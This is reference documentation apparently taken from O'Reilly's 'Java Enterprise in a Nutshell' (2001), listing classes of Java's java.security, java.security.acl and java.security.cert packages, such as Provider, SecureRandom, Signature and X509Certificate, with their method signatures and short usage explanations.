The corresponding property value is the name of the class that implements the named algorithm. For example, say a Provider defines properties named "Signature.DSA", "MessageDigest.MD5", and "KeyStore.JKS". The values of these properties are the class names of SignatureSpi, MessageDigestSpi, and KeyStoreSpi implementations. Other properties defined by a Provider are used to provide aliases for algorithm names. For example, the property Alg.Alias.MessageDigest.SHA1 might have the value "SHA", meaning that the algorithm name "SHA1" is an alias for "SHA".

Security providers are installed for a Java system in an implementation-dependent way. For Sun's implementation, the ${java.home}/lib/security/java.security file specifies the class names of all installed Provider implementations. An application can also install its own custom Provider with the addProvider() and insertProviderAt() methods of the Security class. Most applications do not need to use the Provider class directly. Typically, only security-provider implementors need to use the Provider class. Some applications may explicitly specify the name of a desired Provider when calling a static getInstance() factory method, however. Only applications with the most demanding cryptographic needs need to install custom providers.

public abstract class Provider extends java.util.Properties {
// | Protected Constructors
 | protected Provider (String name, double version, String info); |
// | Public Instance Methods
 | public String getInfo (); |
 | public String getName (); |
 | public double getVersion (); |
// | Public Methods Overriding Properties
1.2 | public void load (java.io.InputStream inStream) throws java.io.IOException; | synchronized
// | Public Methods Overriding Hashtable
1.2 | public void clear (); | synchronized
1.2 | public java.util.Set entrySet (); | synchronized
1.2 | public java.util.Set keySet (); |
1.2 | public Object put (Object key, Object value); | synchronized
1.2 | public void putAll (java.util.Map t); | synchronized
1.2 | public Object remove (Object key); | synchronized
 | public String toString (); |
1.2 | public java.util.Collection values (); |
}

Hierarchy: Object-->java.util.Dictionary-->java.util.Hashtable(Cloneable,java.util.Map,Serializable)-->java.util.Properties-->Provider

Passed To: AlgorithmParameterGenerator.AlgorithmParameterGenerator(), AlgorithmParameters.AlgorithmParameters(), KeyFactory.KeyFactory(), KeyStore.KeyStore(), SecureRandom.SecureRandom(), Security.{addProvider(), insertProviderAt()}, java.security.cert.CertificateFactory.CertificateFactory(), javax.crypto.Cipher.Cipher(), javax.crypto.KeyAgreement.KeyAgreement(), javax.crypto.KeyGenerator.KeyGenerator(), javax.crypto.Mac.Mac(), javax.crypto.SecretKeyFactory.SecretKeyFactory()

Returned By: Too many methods to list.

ProviderException | Java 1.1
java.security | serializable unchecked PJ1.1(opt)

Signals that an exception has occurred inside a cryptographic service provider. Note that ProviderException extends RuntimeException and is therefore an unchecked exception that may be thrown from any method without being declared.

public class ProviderException extends RuntimeException {
// | Public Constructors
 | public ProviderException ();
 | public ProviderException (String s);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->RuntimeException-->ProviderException

PublicKey | Java 1.1
java.security | serializable PJ1.1(opt)

This interface represents a public cryptographic key. It extends the Key interface, but does not add any new methods. The interface exists in order to create a strong distinction between public and private keys. See also PrivateKey.

public interface PublicKey extends Key {
// | Public Constants
1.2 | public static final long serialVersionUID ; | =7187392471159151072
}

Hierarchy: (PublicKey(Key(Serializable)))

Implementations: java.security.interfaces.DSAPublicKey, java.security.interfaces.RSAPublicKey, javax.crypto.interfaces.DHPublicKey

Passed To: Identity.setPublicKey(), IdentityScope.getIdentity(), KeyPair.KeyPair(), Signature.initVerify(), SignatureSpi.engineInitVerify(), SignedObject.verify(), java.security.cert.Certificate.verify(), java.security.cert.X509CRL.verify()

Returned By: java.security.Certificate.getPublicKey(), Identity.getPublicKey(), KeyFactory.generatePublic(), KeyFactorySpi.engineGeneratePublic(), KeyPair.getPublic(), java.security.cert.Certificate.getPublicKey()

SecureClassLoader Java 1.2
java.security

This class adds two protected methods to those defined by ClassLoader. The defineClass() method is passed a CodeSource object that represents the source of the class being loaded. It calls the getPermissions() method to obtain a PermissionCollection for that CodeSource. It then uses the CodeSource and PermissionCollection to create a ProtectionDomain, which is passed to the defineClass() method of its superclass.

The default implementation of the getPermissions() method uses the default Policy to determine the appropriate set of permissions for a given code source. The value of SecureClassLoader is that subclasses can use its defineClass() method to load classes without having to work explicitly with the ProtectionDomain and Policy classes. A subclass of SecureClassLoader can define its own security policy by overriding getPermissions(). In Java 1.2 and later, any application that implements a custom class loader should do so by extending SecureClassLoader, instead of subclassing ClassLoader directly. Most applications can use java.net.URLClassLoader, however, and never have to subclass this class.

public class SecureClassLoader extends ClassLoader {
// | Protected Constructors
 | protected SecureClassLoader ();
 | protected SecureClassLoader (ClassLoader parent);
// | Protected Instance Methods
 | protected final Class defineClass (String name, byte[ ] b, int off, int len, CodeSource cs);
 | protected PermissionCollection getPermissions (CodeSource codesource);
}

Hierarchy: Object-->ClassLoader-->SecureClassLoader

Subclasses: java.net.URLClassLoader

SecureRandom | Java 1.1
java.security | serializable PJ1.1(opt)

This class generates cryptographic-quality pseudo-random bytes. Although SecureRandom defines public constructors, the preferred technique for obtaining a SecureRandom object is to call one of the static getInstance() factory methods, specifying the desired pseudo-random number-generation algorithm, and, optionally, the desired provider of that algorithm. Sun's implementation of Java ships with an algorithm named "SHA1PRNG" in the "SUN" provider.

Once you have obtained a SecureRandom object, call nextBytes() to fill an array with pseudo-random bytes. You can also call any of the methods defined by the Random superclass to obtain random numbers. The first time one of these methods is called, the SecureRandom() method uses its generateSeed() method to seed itself. If you have a source of random or very high-quality pseudo-random bytes, you may provide your own seed by calling setSeed(). Repeated calls to setSeed() augment the existing seed instead of replacing it. You can also call generateSeed() to generate seeds for use with other pseudo-random generators. generateSeed() may use a different algorithm than nextBytes() and may produce higher-quality randomness, usually at the expense of increased computation time.

public class SecureRandom extends java.util.Random {
// | Public Constructors
 | public SecureRandom (); |
 | public SecureRandom (byte[ ] seed); |
// | Protected Constructors
1.2 | protected SecureRandom (SecureRandomSpi secureRandomSpi, Provider provider); |
// | Public Class Methods
1.2 | public static SecureRandom getInstance (String algorithm) throws NoSuchAlgorithmException; |
1.2 | public static SecureRandom getInstance (String algorithm, String provider) throws NoSuchAlgorithmExceptionNoSuchProviderException; |
 | public static byte[ ] getSeed (int numBytes); |
// | Public Instance Methods
1.2 | public byte[ ] generateSeed (int numBytes); |
1.2 | public final Provider getProvider (); | default:Sun
 | public void setSeed (byte[ ] seed); | synchronized
// | Public Methods Overriding Random
 | public void nextBytes (byte[ ] bytes); | synchronized
 | public void setSeed (long seed); |
// | Protected Methods Overriding Random
 | protected final int next (int numBits); |
}

Hierarchy: Object-->java.util.Random(Serializable)-->SecureRandom

Passed To: Too many methods to list.

Returned By: SecureRandom.getInstance()

Type Of: SignatureSpi.appRandom

SecureRandomSpi | Java 1.2
java.security | serializable

This abstract class defines the service-provider interface for SecureRandom. A security provider must implement a concrete subclass of this class for each pseudo-random number-generation algorithm it supports. Applications never need to use or subclass this class.

public abstract class SecureRandomSpi implements Serializable {
// | Public Constructors
 | public SecureRandomSpi ();
// | Protected Instance Methods
 | protected abstract byte[ ] engineGenerateSeed (int numBytes);
 | protected abstract void engineNextBytes (byte[ ] bytes);
 | protected abstract void engineSetSeed (byte[ ] seed);
}

Hierarchy: Object-->SecureRandomSpi(Serializable)

Passed To: SecureRandom.SecureRandom()

Security | Java 1.1
java.security | PJ1.1(opt)

This class defines static methods both for managing the list of installed security providers and for reading and setting the values of various properties used by the Java 1.2 security system. It is essentially an interface to the ${java.home}/lib/security/java.security file that is included in Sun's implementation of Java. getProviders() is the most generally useful method; it returns an array of installed Provider objects. In Java 1.3, two new versions of getProviders() return an array of installed providers that implement the algorithm or algorithms specified by the String or Map argument.

public final class Security {
// | No Constructor
// | Public Class Methods
 | public static int addProvider (Provider provider); |
 | public static String getProperty (String key); |
 | public static Provider getProvider (String name); | synchronized
 | public static Provider[ ] getProviders (); | synchronized
1.3 | public static Provider[ ] getProviders (String filter); |
1.3 | public static Provider[ ] getProviders (java.util.Map filter); |
 | public static int insertProviderAt (Provider provider, int position); | synchronized
 | public static void removeProvider (String name); | synchronized
 | public static void setProperty (String key, String datum); |
// | Deprecated Public Methods
# | public static String getAlgorithmProperty (String algName, String propName); |
}
SecurityPermission | Java 1.2
java.security | serializable permission

This class is a Permission subclass that represents access to various methods of the Policy, Security, Provider, Signer, and Identity objects. SecurityPermission objects are defined by a name only; they do not use a list of actions. Important SecurityPermission names are "getPolicy" and "setPolicy", which represent the ability query and set the system security policy by invoking the Policy.getPolicy() and Policy.setPolicy() methods. Applications do not typically need to use this class.

public final class SecurityPermission extends BasicPermission {
// | Public Constructors
 | public SecurityPermission (String name);
 | public SecurityPermission (String name, String actions);
}

Hierarchy: Object-->java.security.Permission(Guard,Serializable)-->BasicPermission(Serializable)-->SecurityPermission

Signature | Java 1.1
java.security | PJ1.1(opt)

This class computes or verifies a digital signature. Obtain a Signature object by calling one of the static getInstance() factory methods and specifying the desired digital signature algorithm and, optionally, the desired provider of that algorithm. A digital signature is essentially a message digest encrypted by a public-key encryption algorithm. Thus, to specify a digital signature algorithm, you must specify both the digest algorithm and the encryption algorithm. The only algorithm supported by the default "SUN" provider is "SHA1withDSA".

Once you have obtained a Signature object, you must initialize it before you can create or verify a digital signature. To initialize a digital signature for creation, call initSign() and specify the private key to be used to create the signature. To initialize a signature for verification, call initVerify() and specify the public key of the signer. Once the Signature object has been initialized, call update() one or more times to specify the bytes to be signed or verified. Finally, to create a digital signature, call sign(), passing a byte array into which the signature is stored. Or, pass the bytes of the digital signature to verify(), which returns true if the signature is valid or false otherwise. After calling either sign() or verify(), the Signature object is reset internally and can be used to create or verify another signature.

public abstract class Signature extends SignatureSpi {
// | Protected Constructors
 | protected Signature (String algorithm); |
// | Protected Constants
 | protected static final int SIGN ; | =2
 | protected static final int UNINITIALIZED ; | =0
 | protected static final int VERIFY ; | =3
// | Public Class Methods
 | public static Signature getInstance (String algorithm) throws NoSuchAlgorithmException; |
 | public static Signature getInstance (String algorithm, String provider) throws NoSuchAlgorithmExceptionNoSuchProviderException; |
// | Public Instance Methods
 | public final String getAlgorithm (); |
1.2 | public final Provider getProvider (); |
 | public final void initSign (PrivateKey privateKey) throws InvalidKeyException; |
1.2 | public final void initSign (PrivateKey privateKey, SecureRandom random) throws InvalidKeyException; |
 | public final void initVerify (PublicKey publicKey) throws InvalidKeyException; |
1.3 | public final void initVerify (java.security.cert.Certificate certificate) throws InvalidKeyException; |
1.2 | public final void setParameter (java.security.spec.AlgorithmParameterSpec params) throws InvalidAlgorithmParameterException; |
 | public final byte[ ] sign () throws SignatureException; |
1.2 | public final int sign (byte[ ] outbuf, int offset, int len) throws SignatureException; |
 | public final void update (byte b) throws SignatureException; |
 | public final void update (byte[ ] data) throws SignatureException; |
 | public final void update (byte[ ] data, int off, int len) throws SignatureException; |
 | public final boolean verify (byte[ ] signature) throws SignatureException; |
// | Public Methods Overriding SignatureSpi
 | public Object clone () throws CloneNotSupportedException; |
// | Public Methods Overriding Object
 | public String toString (); |
// | Protected Instance Fields
 | protected int state ; |
// | Deprecated Public Methods
# | public final Object getParameter (String param) throws InvalidParameterException; |
# | public final void setParameter (String param, Object value) throws InvalidParameterException; |
}

Hierarchy: Object-->SignatureSpi-->Signature

Passed To: SignedObject.{SignedObject(), verify()}

Returned By: Signature.getInstance()

SignatureException | Java 1.1
java.security | serializable checked PJ1.1(opt)

Signals a problem while creating or verifying a digital signature.

public class SignatureException extends GeneralSecurityException {
// | Public Constructors
 | public SignatureException ();
 | public SignatureException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->GeneralSecurityException-->SignatureException

Thrown By: Too many methods to list.

SignatureSpi Java 1.2
java.security

This abstract class defines the service-provider interface for Signature. A security provider must implement a concrete subclass of this class for each digital signature algorithm it supports. Applications never need to use or subclass this class.

public abstract class SignatureSpi {
// | Public Constructors
 | public SignatureSpi ();
// | Public Methods Overriding Object
 | public Object clone () throws CloneNotSupportedException;
// | Protected Instance Methods
 | protected abstract void engineInitSign (PrivateKey privateKey) throws InvalidKeyException;
 | protected void engineInitSign (PrivateKey privateKey, SecureRandom random) throws InvalidKeyException;
 | protected abstract void engineInitVerify (PublicKey publicKey) throws InvalidKeyException;
 | protected void engineSetParameter (java.security.spec.AlgorithmParameterSpec params) throws InvalidAlgorithmParameterException;
 | protected abstract byte[ ] engineSign () throws SignatureException;
 | protected int engineSign (byte[ ] outbuf, int offset, int len) throws SignatureException;
 | protected abstract void engineUpdate (byte b) throws SignatureException;
 | protected abstract void engineUpdate (byte[ ] b, int off, int len) throws SignatureException;
 | protected abstract boolean engineVerify (byte[ ] sigBytes) throws SignatureException;
// | Protected Instance Fields
 | protected SecureRandom appRandom ;
// | Deprecated Protected Methods
# | protected abstract Object engineGetParameter (String param) throws InvalidParameterException;
# | protected abstract void engineSetParameter (String param, Object value) throws InvalidParameterException;
}

Subclasses: Signature

SignedObject | Java 1.2
java.security | serializable

This class applies a digital signature to any serializable Java object. Create a SignedObject by specifying the object to be signed, the PrivateKey to use for the signature, and the Signature object to create the signature. The SignedObject() constructor serializes the specified object into an array of bytes and creates a digital signature for those bytes.

After creation, a SignedObject is itself typically serialized for storage or transmission to another Java thread or process. Once the SignedObject is reconstituted, the integrity of the object it contains can be verified by calling verify() and supplying the PublicKey of the signer and a Signature that performs the verification. Whether or not verification is performed or is successful, getObject() can be called to deserialize and return the wrapped object.

public final class SignedObject implements Serializable {
// | Public Constructors
 | public SignedObject (Serializable object, PrivateKey signingKey, Signature signingEngine) throws java.io.IOExceptionInvalidKeyExceptionSignatureException;
// | Public Instance Methods
 | public String getAlgorithm ();
 | public Object getObject () throws java.io.IOExceptionClassNotFoundException;
 | public byte[ ] getSignature ();
 | public boolean verify (PublicKey verificationKey, Signature verificationEngine) throws InvalidKeyExceptionSignatureException;
}

Hierarchy: Object-->SignedObject(Serializable)

Signer | Java 1.1; Deprecated in Java 1.2
java.security | serializable PJ1.1(opt)

This deprecated class was used in Java 1.1 to represent an entity or Principal that has an associated PrivateKey that enables it to create digital signatures. As of Java 1.2, this class and the related Identity and IdentityScope classes have been replaced by KeyStore and java.security.cert.Certificate. See also Identity.

public abstract class Signer extends Identity {
// | Public Constructors
 | public Signer (String name);
 | public Signer (String name, IdentityScope scope) throws KeyManagementException;
// | Protected Constructors
 | protected Signer ();
// | Public Instance Methods
 | public PrivateKey getPrivateKey ();
 | public final void setKeyPair (KeyPair pair) throws InvalidParameterExceptionKeyException;
// | Public Methods Overriding Identity
 | public String toString ();
}

Hierarchy: Object-->Identity(java.security.Principal,Serializable)-->Signer

UnrecoverableKeyException | Java 1.2
java.security | serializable checked

This exception is thrown if a Key cannot be retrieved from a KeyStore. This commonly occurs when an incorrect password is used.

public class UnrecoverableKeyException extends GeneralSecurityException {
// | Public Constructors
 | public UnrecoverableKeyException ();
 | public UnrecoverableKeyException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->GeneralSecurityException-->UnrecoverableKeyException

Thrown By: KeyStore.getKey(), KeyStoreSpi.engineGetKey()

UnresolvedPermission | Java 1.2
java.security | serializable permission

This class is used internally to provide a mechanism for delayed resolution of permissions. An UnresolvedPermission holds a textual representation of a Permission object that can later be used to create the actual Permission object. Applications never need to use this class.

public final class UnresolvedPermission extends java.security.Permission implements Serializable {
// | Public Constructors
 | public UnresolvedPermission (String type, String name, String actions, java.security.cert.Certificate[ ] certs); |
// | Public Methods Overriding Permission
 | public boolean equals (Object obj); |
 | public String getActions (); |
 | public int hashCode (); |
 | public boolean implies (java.security.Permission p); | constant
 | public PermissionCollection newPermissionCollection (); |
 | public String toString (); |
}

Hierarchy: Object-->java.security.Permission(Guard,Serializable)-->UnresolvedPermission(Serializable)

Previous | Home | Next
16.1. The java.net Package | Book Index | 18. The java.security.acl Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.security.acl Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 18. The java.security.acl Package

The java.security.acl package defines, but does not implement, an incomplete framework for working with access control lists (ACLs). This package was added in Java 1.1, but has been superseded in Java 1.2 by the access-control mechanisms of the java.security package. In particular, see the Permission and Policy classes of that package. The use of this package is not recommended. Figure 18-1 shows the class hierarchy of this package.

Figure 18-1. The java.security.acl package

Acl Java 1.1
java.security.acl

This interface represents an access control list, or ACL. An ACL is a list of AclEntry objects; most of the methods of this class manage that list. The exception is the checkPermission() method that tests whether this ACL grants a specified java.security.acl.Permission to a specified java.security.Principal. Note that Acl extends Owner. The methods of the Owner interface maintain a list of ACL owners. Only owners are allowed to modify an ACL.

public interface Acl extends Owner {
// | Public Instance Methods
 | public abstract boolean addEntry (java.security.Principal caller, AclEntry entry) throws NotOwnerException;
 | public abstract boolean checkPermission (java.security.Principal principal, java.security.acl.Permission permission);
 | public abstract java.util.Enumeration entries ();
 | public abstract String getName ();
 | public abstract java.util.Enumeration getPermissions (java.security.Principal user);
 | public abstract boolean removeEntry (java.security.Principal caller, AclEntry entry) throws NotOwnerException;
 | public abstract void setName (java.security.Principal caller, String name) throws NotOwnerException;
 | public abstract String toString ();
}

Hierarchy: (Acl(Owner))

AclEntry | Java 1.1
java.security.acl | cloneable

This interface defines a single entry of an ACL. Each AclEntry represents a set of java.security.acl.Permission objects either granted or denied to a given java.security.Principal. By default, an AclEntry represents permissions granted to the principal. Call setNegativePermissions() if you want the AclEntry to represent a set of permissions to be denied.

public interface AclEntry extends Cloneable {
// | Public Instance Methods
 | public abstract boolean addPermission (java.security.acl.Permission permission);
 | public abstract boolean checkPermission (java.security.acl.Permission permission);
 | public abstract Object clone ();
 | public abstract java.security.Principal getPrincipal ();
 | public abstract boolean isNegative ();
 | public abstract java.util.Enumeration permissions ();
 | public abstract boolean removePermission (java.security.acl.Permission permission);
 | public abstract void setNegativePermissions ();
 | public abstract boolean setPrincipal (java.security.Principal user);
 | public abstract String toString ();
}

Hierarchy: (AclEntry(Cloneable))

Passed To: Acl.{addEntry(), removeEntry()}

AclNotFoundException | Java 1.1
java.security.acl | serializable checked

Signals that the specified Acl could not be found. Note that none of the interfaces in java.security.acl throw this exception; it is provided for the benefit of Acl implementations.

public class AclNotFoundException extends Exception {
// | Public Constructors
 | public AclNotFoundException ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->AclNotFoundException

Group Java 1.1
java.security.acl

This interface represents a set, or group, of java.security.Principal objects. The methods of the interface serve to manage the membership of the group. Note that Group extends the Principal interface, and, therefore, you can use a Group object wherever you would use a Principal object in this package.

public interface Group extends java.security.Principal {
// | Public Instance Methods
 | public abstract boolean addMember (java.security.Principal user);
 | public abstract boolean isMember (java.security.Principal member);
 | public abstract java.util.Enumeration members ();
 | public abstract boolean removeMember (java.security.Principal user);
}

Hierarchy: (Group(java.security.Principal))

LastOwnerException | Java 1.1
java.security.acl | serializable checked

Signals that an Acl or Owner has only one Principal remaining in its ownership list and that this single owner cannot be removed.

public class LastOwnerException extends Exception {
// | Public Constructors
 | public LastOwnerException ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->LastOwnerException

Thrown By: Owner.deleteOwner()

NotOwnerException | Java 1.1
java.security.acl | serializable checked

Thrown by various methods of Acl and Owner when they are called by a Principal that is not an owner.

public class NotOwnerException extends Exception {
// | Public Constructors
 | public NotOwnerException ();
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NotOwnerException

Thrown By: Acl.{addEntry(), removeEntry(), setName()}, Owner.{addOwner(), deleteOwner()}

Owner Java 1.1
java.security.acl

This interface represents the owner or owners of an ACL. The interface defines methods for managing and checking membership in the list of owners.

public interface Owner {
// | Public Instance Methods
 | public abstract boolean addOwner (java.security.Principal caller, java.security.Principal owner) throws NotOwnerException;
 | public abstract boolean deleteOwner (java.security.Principal caller, java.security.Principal owner) throws NotOwnerExceptionLastOwnerException;
 | public abstract boolean isOwner (java.security.Principal owner);
}

Implementations: Acl

Permission Java 1.1
java.security.acl

This interface represents a permission. The meaning of the permission is entirely up to the implementation. Do not confuse this interface with the newer java.security.Permission class. Also note that this interface does not have the implies() method of java.security.Permission and is therefore significantly less versatile.

public interface Permission {
// | Public Instance Methods
 | public abstract boolean equals (Object another);
 | public abstract String toString ();
}

Passed To: Acl.checkPermission(), AclEntry.{addPermission(), checkPermission(), removePermission()}

Previous | Home | Next
17.1. The java.security Package | Book Index | 19. The java.security.cert Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The java.security.cert Package (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 19. The java.security.cert Package

The java.security.cert package contains classes for working with identity certificates and certificate revocation lists (CRLs). It defines generic Certificate and CRL classes and X509Certificate and X509CRL classes that provide full support for standard X.509 certificates and CRLs. The CertificateFactory class serves as a certificate parser, providing the ability to convert a stream of bytes into a Certificate or CRL object. This package replaces the deprecated java.security.Certificate interface. Figure 19-1 shows the class hierarchy of this package.

Figure 19-1. The java.security.cert package

Certificate | Java 1.2
java.security.cert | serializable

This abstract class represents an identity certificate. A certificate is an object that contains the name of an entity and a public key for that entity. Certificates are issued by, and bear the digital signature of,x a (presumably trusted) third party, typically a certificate authority (CA). By issuing and signing the certificate, the CA is certifying that, based on their research, the entity named on the certificate really is who they say they are and that the public key in the certificate really does belong to that entity.

Use a CertificateFactory to parse a stream of bytes into a Certificate object; getEncoded() reverses this process. Use verify() to verify the digital signature of the entity that issued the certificate. If the signature cannot be verified, the certificate should not be trusted. Call getPublicKey() to obtain the java.security.PublicKey of the subject of the certificate. Note that this class does not define a method for obtaining the Principal that is associated with the PublicKey. That functionality is dependent on the type of the certificate. See X509Certificate.getSubjectDN(), for example.

Do not confuse this class with the java.security.Certificate interface that was defined in Java 1.1 and has been deprecated in Java 1.2.

public abstract class Certificate implements Serializable {
// | Protected Constructors
 | protected Certificate (String type);
// | Inner Classes
1.3 | ;
// | Public Instance Methods
 | public abstract byte[ ] getEncoded () throws CertificateEncodingException;
 | public abstract java.security.PublicKey getPublicKey ();
 | public final String getType ();
 | public abstract void verify (java.security.PublicKey key) throws CertificateExceptionjava.security.NoSuchAlgorithmExceptionjava.security.InvalidKeyExceptionjava.security.NoSuchProviderExceptionjava.security.SignatureException;
 | public abstract void verify (java.security.PublicKey key, String sigProvider) throws CertificateExceptionjava.security.NoSuchAlgorithmExceptionjava.security.InvalidKeyExceptionjava.security.NoSuchProviderExceptionjava.security.SignatureException;
// | Public Methods Overriding Object
 | public boolean equals (Object other);
 | public int hashCode ();
 | public abstract String toString ();
// | Protected Instance Methods
1.3 | protected Object writeReplace () throws java.io.ObjectStreamException;
}

Hierarchy: Object-->java.security.cert.Certificate(Serializable)

Subclasses: X509Certificate

Passed To: java.security.CodeSource.CodeSource(), java.security.KeyStore.{getCertificateAlias(), setCertificateEntry(), setKeyEntry()}, java.security.KeyStoreSpi.{engineGetCertificateAlias(), engineSetCertificateEntry(), engineSetKeyEntry()}, java.security.Signature.initVerify(), java.security.UnresolvedPermission.UnresolvedPermission(), CRL.isRevoked()

Returned By: java.net.JarURLConnection.getCertificates(), java.security.CodeSource.getCertificates(), java.security.KeyStore.{getCertificate(), getCertificateChain()}, java.security.KeyStoreSpi.{engineGetCertificate(), engineGetCertificateChain()}, CertificateFactory.generateCertificate(), CertificateFactorySpi.engineGenerateCertificate(), java.util.jar.JarEntry.getCertificates()

Certificate.CertificateRep | Java 1.3 Beta
java.security.cert | serializable

This protected inner class provides an alternate representation of a certificate that can be used for serialization purposes by the writeReplace() method of some Certificate implementations. Applications do not typically need this class.

protected static class Certificate.CertificateRep implements Serializable {
// | Protected Constructors
 | protected CertificateRep (String type, byte[ ] data);
// | Protected Instance Methods
 | protected Object readResolve () throws java.io.ObjectStreamException;
}
CertificateEncodingException | Java 1.2
java.security.cert | serializable checked

Signals an error while attempting to encode a certificate.

public class CertificateEncodingException extends CertificateException {
// | Public Constructors
 | public CertificateEncodingException ();
 | public CertificateEncodingException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->CertificateException-->CertificateEncodingException

Thrown By: java.security.cert.Certificate.getEncoded(), X509Certificate.getTBSCertificate()

CertificateException | Java 1.2
java.security.cert | serializable checked

This class is the superclass of several more specific exception types that may be thrown when working with certificates.

public class CertificateException extends java.security.GeneralSecurityException {
// | Public Constructors
 | public CertificateException ();
 | public CertificateException (String msg);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->CertificateException

Subclasses: CertificateEncodingException, CertificateExpiredException, CertificateNotYetValidException, CertificateParsingException

Thrown By: java.security.KeyStore.{load(), store()}, java.security.KeyStoreSpi.{engineLoad(), engineStore()}, java.security.cert.Certificate.verify(), CertificateFactory.{generateCertificate(), generateCertificates(), getInstance()}, CertificateFactorySpi.{engineGenerateCertificate(), engineGenerateCertificates()}

CertificateExpiredException | Java 1.2
java.security.cert | serializable checked

Signals that a certificate has expired or will have expired by a specified date.

public class CertificateExpiredException extends CertificateException {
// | Public Constructors
 | public CertificateExpiredException ();
 | public CertificateExpiredException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->CertificateException-->CertificateExpiredException

Thrown By: X509Certificate.checkValidity()

CertificateFactory Java 1.2
java.security.cert

This class defines methods for parsing CRLs from byte streams. Obtain a CertificateFactory by calling one of the static getInstance() factory methods and specifying the type of certificate or CRL to be parsed, and, optionally, the desired service provider to perform the parsing. The default "SUN" provider defines only a single "X.509" certificate type. Once you have obtained a CertificateFactory for the desired type of certificate, call generateCertificate() or generateCRL() to parse a single certificate or CRL from a stream. Or call generateCertificates() or generateCRLs() to parse a Collection of certificates or CRLs from the stream. These CertificateFactory methods read to the end of the specified stream. If the stream supports mark() and reset(), however, the CertificateFactory resets the stream to the position after the end of the last certificate or CRL read.

If you specified a certificate type of "X.509", the Certificate and CRL objects returned by a CertificateFactory can be cast safely to X509Certificate and X509CRL. The X.509 certificate factory can parse certificates encoded in binary or printable hexadecimal form. If the certificate is in hexadecimal form, it must begin with the string "-----BEGIN CERTIFICATE-----" and end with the string "-----END CERTIFICATE-----".

public class CertificateFactory {
// | Protected Constructors
 | protected CertificateFactory (CertificateFactorySpi certFacSpi, java.security.Provider provider, String type);
// | Public Class Methods
 | public static final CertificateFactory getInstance (String type) throws CertificateException;
 | public static final CertificateFactory getInstance (String type, String provider) throws CertificateExceptionjava.security.NoSuchProviderException;
// | Public Instance Methods
 | public final java.security.cert.Certificate generateCertificate (java.io.InputStream inStream) throws CertificateException;
 | public final java.util.Collection generateCertificates (java.io.InputStream inStream) throws CertificateException;
 | public final CRL generateCRL (java.io.InputStream inStream) throws CRLException;
 | public final java.util.Collection generateCRLs (java.io.InputStream inStream) throws CRLException;
 | public final java.security.Provider getProvider ();
 | public final String getType ();
}

Returned By: CertificateFactory.getInstance()

CertificateFactorySpi Java 1.2
java.security.cert

This abstract class defines the service provider interface, or SPI, for the CertificateFactory class. A security provider must implement this class for each type of certificate it wishes to support. Applications never need to use or subclass this class.

public abstract class CertificateFactorySpi {
// | Public Constructors
 | public CertificateFactorySpi ();
// | Public Instance Methods
 | public abstract java.security.cert.Certificate engineGenerateCertificate (java.io.InputStream inStream) throws CertificateException;
 | public abstract java.util.Collection engineGenerateCertificates (java.io.InputStream inStream) throws CertificateException;
 | public abstract CRL engineGenerateCRL (java.io.InputStream inStream) throws CRLException;
 | public abstract java.util.Collection engineGenerateCRLs (java.io.InputStream inStream) throws CRLException;
}

Passed To: CertificateFactory.CertificateFactory()

CertificateNotYetValidException | Java 1.2
java.security.cert | serializable checked

Signals that a certificate is not yet valid or will not yet be valid on a specified date.

public class CertificateNotYetValidException extends CertificateException {
// | Public Constructors
 | public CertificateNotYetValidException ();
 | public CertificateNotYetValidException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->CertificateException-->CertificateNotYetValidException

Thrown By: X509Certificate.checkValidity()

CertificateParsingException | Java 1.2
java.security.cert | serializable checked

Signals an error or other problem while parsing a certificate.

public class CertificateParsingException extends CertificateException {
// | Public Constructors
 | public CertificateParsingException ();
 | public CertificateParsingException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->CertificateException-->CertificateParsingException

CRL Java 1.2
java.security.cert

This abstract class represents a certificaterevocation list (CRL). A CRL is an object issued by a certificate authority (or other certificate signer) that lists certificates that have been revoked, meaning that they are now invalid and should be rejected. Use a CertificateFactory to parse a CRL from a byte stream. Use the isRevoked() method to test whether a specified Certificate is listed on the CRL. Note that type-specific CRL subclasses, such as X509CRL, may provide access to substantially more information about the revocation list.

public abstract class CRL {
// | Protected Constructors
 | protected CRL (String type);
// | Public Instance Methods
 | public final String getType ();
 | public abstract boolean isRevoked (java.security.cert.Certificate cert);
// | Public Methods Overriding Object
 | public abstract String toString ();
}

Subclasses: X509CRL

Returned By: CertificateFactory.generateCRL(), CertificateFactorySpi.engineGenerateCRL()

CRLException | Java 1.2
java.security.cert | serializable checked

Signals an error or other problem while working with a CRL.

public class CRLException extends java.security.GeneralSecurityException {
// | Public Constructors
 | public CRLException ();
 | public CRLException (String message);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->java.security.GeneralSecurityException-->CRLException

Thrown By: CertificateFactory.{generateCRL(), generateCRLs()}, CertificateFactorySpi.{engineGenerateCRL(), engineGenerateCRLs()}, X509CRL.{getEncoded(), getTBSCertList(), verify()}, X509CRLEntry.getEncoded()

X509Certificate | Java 1.2
java.security.cert | serializable

This class represents an X.509 certificate. Its various methods provide complete access to the contents of the certificate. For example, verify() checks the digital signature of the certificate to verify that it is not a forged certificate, while checkValidity() checks whether the certificate has expired or has not yet gone into effect. getSubjectDN() returns the Principal to whom this certificate applies, and getPublicKey() returns the PublicKey for that Principal. Note that verify() and getPublicKey() are inherited from Certificate.

Obtain an X509Certificate object by creating a CertificateFactory for certificate type "X.509" and then using generateCertificate() to parse an X.509 certificate from a stream of bytes. Finally, cast the Certificate returned by this method to an X509Certificate.

public abstract class X509Certificate extends java.security.cert.Certificate implements X509Extension {
// | Protected Constructors
 | protected X509Certificate (); |
